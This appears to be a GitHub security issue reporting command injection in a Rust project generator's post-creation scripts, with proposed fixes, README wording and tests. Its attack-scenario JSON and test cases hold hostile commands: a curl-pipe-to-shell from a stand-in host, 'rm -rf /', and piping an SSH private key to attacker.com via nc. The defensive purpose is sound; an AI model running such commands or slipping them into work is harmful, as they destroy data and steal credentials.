Skip to content

Command Injection in Post-Creation Scripts #2

Description

@AbdullahNamespace

🔒 [SECURITY] Command Injection in Post-Creation Scripts

Priority: 🔴 Critical

Description

The execute_scripts() function directly passes user-provided commands to the shell without any sanitization or validation, allowing arbitrary command execution.

Vulnerability Details

Current Code (Vulnerable)

// In generator.rs - execute_scripts()
Command::new("sh")
    .args(["-c", script])  // Direct execution of user input!
    .current_dir(&self.output_dir)
    .output()

Attack Scenario

{
  "project": {
    "name": "hacked_project"
  },
  "custom_scripts": {
    "post_create": [
      "echo 'Installing dependencies...' && curl http://malicious.com/backdoor.sh | sh",
      "rm -rf / --no-preserve-root",
      "cat ~/.ssh/id_rsa | nc attacker.com 4444"
    ]
  }
}

Impact

  • Severity: Critical
  • Attack Vector: Malicious JSON configuration
  • Affected Component: ProjectGenerator::execute_scripts()
  • Attackers could:
    • Execute arbitrary system commands
    • Delete files/directories
    • Exfiltrate sensitive data
    • Install malware
    • Pivot to other systems

Root Cause

The tool treats JSON configs as trusted input but users can:

  1. Download configs from untrusted sources
  2. Be social-engineered into using malicious templates
  3. Accidentally use compromised configs

Proposed Solutions

Option 1: Whitelist Approved Commands (Recommended)

const ALLOWED_COMMANDS: &[&str] = &[
    "cargo", "npm", "yarn", "git", "poetry", 
    "pip", "go", "flutter", "dotnet"
];

fn validate_script(&self, script: &str) -> Result<()> {
    let parts: Vec<&str> = script.split_whitespace().collect();
    
    if parts.is_empty() {
        bail!("Empty script command");
    }
    
    let command = parts[0];
    
    if !ALLOWED_COMMANDS.contains(&command) {
        bail!(
            "Command '{}' is not allowed. Permitted: {:?}",
            command,
            ALLOWED_COMMANDS
        );
    }
    
    // Check for shell operators
    if script.contains(';') || script.contains('|') || 
       script.contains('&') || script.contains('`') ||
       script.contains('$') {
        bail!("Shell operators not allowed in scripts");
    }
    
    Ok(())
}

Option 2: Interactive Confirmation

pub fn execute_scripts(&self, scripts: &[String]) -> Result<()> {
    println!("\n⚠️  About to execute {} scripts:", scripts.len());
    for (i, script) in scripts.iter().enumerate() {
        println!("  {}. {}", i + 1, script.yellow());
    }
    
    print!("\nContinue? [y/N]: ");
    io::stdout().flush()?;
    
    let mut input = String::new();
    io::stdin().read_line(&mut input)?;
    
    if input.trim().to_lowercase() != "y" {
        println!("❌ Script execution cancelled");
        return Ok(());
    }
    
    // Execute with validation
    for script in scripts {
        self.validate_script(script)?;
        self.execute_single_script(script)?;
    }
    
    Ok(())
}

Option 3: Dry-Run Mode

#[derive(Parser, Debug)]
pub struct Cli {
    #[clap(short, long)]
    pub config: String,
    
    #[clap(short, long)]
    pub output: Option<String>,
    
    // NEW FLAG
    #[clap(long)]
    pub no_scripts: bool,  // Skip script execution
    
    #[clap(long)]
    pub dry_run: bool,  // Show what would be created
}

Recommended Implementation

Multi-Layer Defense

impl ProjectGenerator {
    pub fn execute_scripts(&self, scripts: &[String], flags: &ScriptFlags) -> Result<()> {
        // Layer 1: Check flag
        if flags.skip_scripts {
            crate::ui::print_info("Skipping scripts (--no-scripts flag)");
            return Ok(());
        }
        
        // Layer 2: Validate all scripts first
        for script in scripts {
            self.validate_script(script)?;
        }
        
        // Layer 3: User confirmation
        if !flags.auto_confirm {
            self.prompt_user_confirmation(scripts)?;
        }
        
        // Layer 4: Execute in restricted environment
        for script in scripts {
            self.execute_sandboxed(script)?;
        }
        
        Ok(())
    }
    
    fn execute_sandboxed(&self, script: &str) -> Result<()> {
        // Set restrictive environment
        let output = Command::new(self.get_shell_command())
            .args(self.get_shell_args(script))
            .current_dir(&self.output_dir)
            .env_clear()  // Clear all env vars
            .env("PATH", "/usr/local/bin:/usr/bin:/bin")  // Minimal PATH
            .env("HOME", &self.output_dir)  // Restrict HOME
            .output()?;
            
        if !output.status.success() {
            bail!("Script failed: {}", String::from_utf8_lossy(&output.stderr));
        }
        
        Ok(())
    }
}

Documentation Updates

Add to README.md:

## ⚠️ Security Notice

### Script Execution Safety

Post-creation scripts run with your user permissions. **Always review**
`custom_scripts` before running configs from untrusted sources.

**Safe usage:**
```bash
# Review the config first
cat template.json | grep -A 10 "custom_scripts"

# Use --no-scripts flag
quick-arch --config untrusted.json --no-scripts

# Then manually run approved commands
cd my_project && cargo build

Allowed commands: cargo, npm, yarn, git, pip, poetry, go, flutter, dotnet


## Testing
```rust
#[test]
fn test_reject_dangerous_commands() {
    let gen = create_test_generator();
    
    // Should fail
    assert!(gen.validate_script("rm -rf /").is_err());
    assert!(gen.validate_script("curl malicious.com | sh").is_err());
    assert!(gen.validate_script("git init && rm -rf /").is_err());
    
    // Should pass
    assert!(gen.validate_script("cargo build").is_ok());
    assert!(gen.validate_script("npm install").is_ok());
}

Action Items

  • Implement command whitelist
  • Add --no-scripts flag
  • Add interactive confirmation by default
  • Sanitize environment variables
  • Add security warning to README
  • Create SECURITY.md file
  • Add script validation tests
  • Consider sandboxing (Docker/containers)

References

Related Issues

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions